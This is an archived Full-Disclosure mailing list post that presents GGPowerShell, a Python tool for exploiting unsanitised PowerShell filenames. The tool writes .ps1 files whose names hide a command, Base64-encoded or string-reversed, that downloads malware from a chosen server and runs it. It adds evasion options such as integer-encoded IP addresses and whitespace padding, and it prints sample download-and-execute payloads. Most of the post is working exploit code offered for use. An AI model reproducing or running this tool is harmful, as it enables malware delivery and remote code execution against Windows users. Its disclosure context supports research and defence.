lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 29 Aug 2019 22:35:15 -0400
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] GGPowerShell / Windows PowerShell Unsanitized RCE File Tool

Tool for creating Windows .PS files with the exploitable semicolon
condition. Has some options like reverse string PS command payload and
IP address as integer value etc...

http://hyp3rlinx.altervista.org/advisories/GGPowerShell.txt


from base64 import b64encode
from base64 import b64decode
from socket import *
import argparse,sys,socket,struct,re

#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#
#Original advisory:
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
#
#Original PoC:
#https://www.youtube.com/watch?v=AH33RW9g8J4
#
#By John Page (aka hyp3rlinx)
#Apparition Security
#=========================
#Features added to the original advisory script:
#
#Original script may have issues with -O for save files with certain
PS versions, so now uses -OutFile.
#
#Added: server port option (Base64 mode only)
#
#Added: -z Reverse String Command as an alternative to default Base64
encoding obfuscation.
#Example self reversing payload to save and execute a file "n.js" from
127.0.0.1 port 80 is only 66 bytes.
#
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
#
#-z payload requires a forced malware download on server-side,
defaults port 80 and expects an ip-address.
#
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
#
#Added: Prefix whitespace - attempt to hide the filename payload by
push it to the end of the filename.
#
#Since we have space limit, malware names should try be 5 chars max
e.g. 'a.exe' including the ext to make room for
#IP/Host/Port and whitespace especially when Base64 encoding, for
reverse command string option we have more room to play.
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext
plus the dot).
#
#All in the name of the dirty PS filename.
#=========================================

BANNER='''
   ________________                          _____ __   _____ __    __
  / ____/ ____/ __ \____ _      _____  _____/ ___// /_ |__  // /   / /
 / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ /   / /
/ /_/ / /_/ / ____/ /_/ / |/ |/ /  __/ /   ___/ / / / /__/ / /___/ /___
\____/\____/_/    \____/|__/|__/\___/_/   /____/_/
/_/____/_____/_____/

By hyp3rlinx
ApparitionSec
'''


FILENAME_PREFIX="Hello-World"
POWERSHELL_OBFUSCATED="poWeRshELl"
DEFAULT_PORT="80"
DEFAULT_BASE64_WSPACE_LEN=2
MAX_CHARS = 254
WARN_MSG="Options: register shorter domain name, try <ip-address> -i
flag, force-download or omit whitespace."


def parse_args():
    parser.add_argument("-s", "--server", help="Server to download
malware from.")
    parser.add_argument("-p", "--port", help="Malware server port,
defaults 80.")
    parser.add_argument("-m", "--locf", help="Name for the Malware
upon download.")
    parser.add_argument("-r", "--remf", nargs="?", help="Malware to
download from the remote server.")
    parser.add_argument("-f", "--force_download", nargs="?",
const="1", help="No malware name specified, malwares force downloaded
from the server web-root, malware type must be known up front.")
    parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1",
help="Reverse string command obfuscation Base64 alternative,
ip-address and port 80 only, Malware must be force downloaded on the
server-side, see -e.")
    parser.add_argument("-w", "--wspace",  help="Amount of whitespace
to use for added obfuscation, Base64 is set for 2 bytes.")
    parser.add_argument("-i", "--ipevade", nargs="?", const="1",
help="Use the integer value of the malware servers IP address for
obfuscation/evasion.")
    parser.add_argument("-e", "--example", nargs="?", const="1",
help="Show example use cases")
    return parser.parse_args()


#self reverse PS commands
def rev_str_command(args):
    malware=args.locf[::-1]
    revload=malware
    revload+=" trats;"
    revload+=malware
    revload+=" eliFtuO- "
    revload+=args.server[::-1]
    revload+=" rwi"

    payload = "$a='"
    payload+=malware
    payload+=" trats;"
    payload+=malware
    payload+=" eliFtuO- "
    payload+=args.server[::-1]
    payload+=" rwi'[-1..-"+str(len(revload))
    payload+="]-join '';iex $a"
    return payload


def ip2int(addr):
    return struct.unpack("!I", inet_aton(addr))[0]


def ip2hex(ip):
    x = ip.split('.')
    return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))


def obfuscate_ip(target):
    IPHex = ip2hex(target)
    return str(ip2int(IPHex))


def decodeB64(p):
    return b64decode(p)


def validIP(host):
    try:
        socket.inet_aton(host)
        return True
    except socket.error:
        return False


def filename_sz(space,cmds,mode):
    if mode==0:
         return len(FILENAME_PREFIX)+len(space)+ 1
+len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
    else:
        return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")


def check_filename_size(sz):
    if sz > MAX_CHARS:
        print "Filename is", sz, "chars of max allowed", MAX_CHARS
        print WARN_MSG
        return False
    return True


def create_file(payload, args):
    try:
        f=open(payload, "w")
        f.write("Write-Output 'Have a good night!'")
        f.close()
    except Exception as e:
        print "[!] File not created!"
        print WARN_MSG
        return False
    return True


def cmd_info(t,p):
    print "PAYLOAD: "+p
    if t==0:
        print "TYPE: Base64 encoded payload."
    else:
        print "TYPE: Self Reversing String Command (must
force-download the malware server side)."



def main(args):

    global FILENAME_PREFIX

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.example:
        usage()
        exit()

    sz=0
    space=""
    b64payload=""
    reverse_string_cmd=""

    if not validIP(args.server):
        if not args.rev_str_cmd:
            if args.server.find("http://")==-1:
                args.server = "http://"+args.server

    if args.ipevade:
        args.server = args.server.replace("http://", "")
        if validIP(args.server):
            args.server = obfuscate_ip(args.server)
        else:
            print "[!] -i (IP evasion) requires a valid IP address,
see Help -h."
            exit()

    if not args.locf:
        print "[!] Missing local malware save name -m flag see Help -h."
        exit()

    if not args.rev_str_cmd:

        if not args.remf and not args.force_download:
            print "[!] No remote malware specified, force downloading
are we? use -f or -r flag, see Help -h."
            exit()

        if args.remf and args.force_download:
            print "[!] Multiple download options specified, use -r or
-f exclusively, see Help -h."
            exit()

        if args.force_download:
            args.remf=""

        if args.remf:
            #remote file can be extension-less
            if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not
re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
                print "[!] Invalid remote malware name specified, see Help -h."
                exit()

            #local file extension is required
        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local malware name "+args.locf+" invalid, must
contain no paths and have the correct extension."
            exit()

        if not args.port:
            args.port = DEFAULT_PORT

        if args.wspace:
            args.wspace = int(args.wspace)
            space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
            if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
                 print "[!] Ignoring", args.wspace, "whitespace
amount, Base64 default is two bytes"

        filename_cmd = "powershell iwr "
        filename_cmd+=args.server
        filename_cmd+=":"
        filename_cmd+=args.port
        filename_cmd+="/"
        filename_cmd+=args.remf
        filename_cmd+=" -OutFile "
        filename_cmd+=args.locf
        filename_cmd+=" ;sleep -s 2;start "
        filename_cmd+=args.locf

        b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
        sz = filename_sz(space, b64payload, 0)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
        FILENAME_PREFIX+=" -e "
        FILENAME_PREFIX+=b64payload
        FILENAME_PREFIX+=";.ps1"
        COMMANDS = FILENAME_PREFIX

    else:

        if args.server.find("http://")!=-1:
            args.server = args.server.replace("http://","")

        if args.force_download:
             print "[!] Ignored -f as forced download is already
required with -z flag."

        if args.wspace:
            space=" "*int(args.wspace)

        if args.remf:
            print "[!] Using both -z and -r flags is disallowed, see Help -h."
            exit()

        if args.port:
            print "[!] -z flag must use port 80 as its default, see Help -h."
            exit()

        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local Malware name invalid -m flag."
            exit()

        reverse_string_cmd = rev_str_command(args)
        sz = filename_sz(space, reverse_string_cmd, 1)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=reverse_string_cmd
        FILENAME_PREFIX+=";.ps1"
        COMMANDS=FILENAME_PREFIX

    if check_filename_size(sz):
        if create_file(COMMANDS,args):
            if not args.rev_str_cmd:
                cmd_info(0,decodeB64(b64payload))
            else:
                cmd_info(1,reverse_string_cmd)
            return sz

    return False


def usage():
    print "(-r) -s <domain-name.xxx> -p 5555 -m  g.js -r n.js -i -w 2"
    print "     Whitespace, IP evasion, download, save and exec
malware via Base64 encoded payload.\n"
    print "     Download an save malware simply named '2' via port 80,
rename to f.exe and execute."
    print "     -s <domain-name.xxx> -m  a.exe -r 2\n"
    print "(-f) -s <domain-name.xxx> -f -m  d.exe"
    print "     Expects force download from the servers web-root,
malware type must be known upfront.\n"
    print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
    print "     Reverse string PowerShell command alternative to
Base64 obfuscation"
    print "     uses self reversing string of PS commands, malware
type must be known upfront."
    print "     Defaults port 80, ip-address only and requires
server-side forced download from web-root.\n"
    print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
    print "     Reverse string command with (-i) IP as integer value
for evasion.\n"
    print "     Base64 is the default command obfuscation encoding,
unless -z flags specified."

if __name__=="__main__":

    print BANNER
    parser = argparse.ArgumentParser()
    sz = main(parse_args())

    if sz:
        print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
        print "PowerShell Unsantized Filename RCE file created."

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists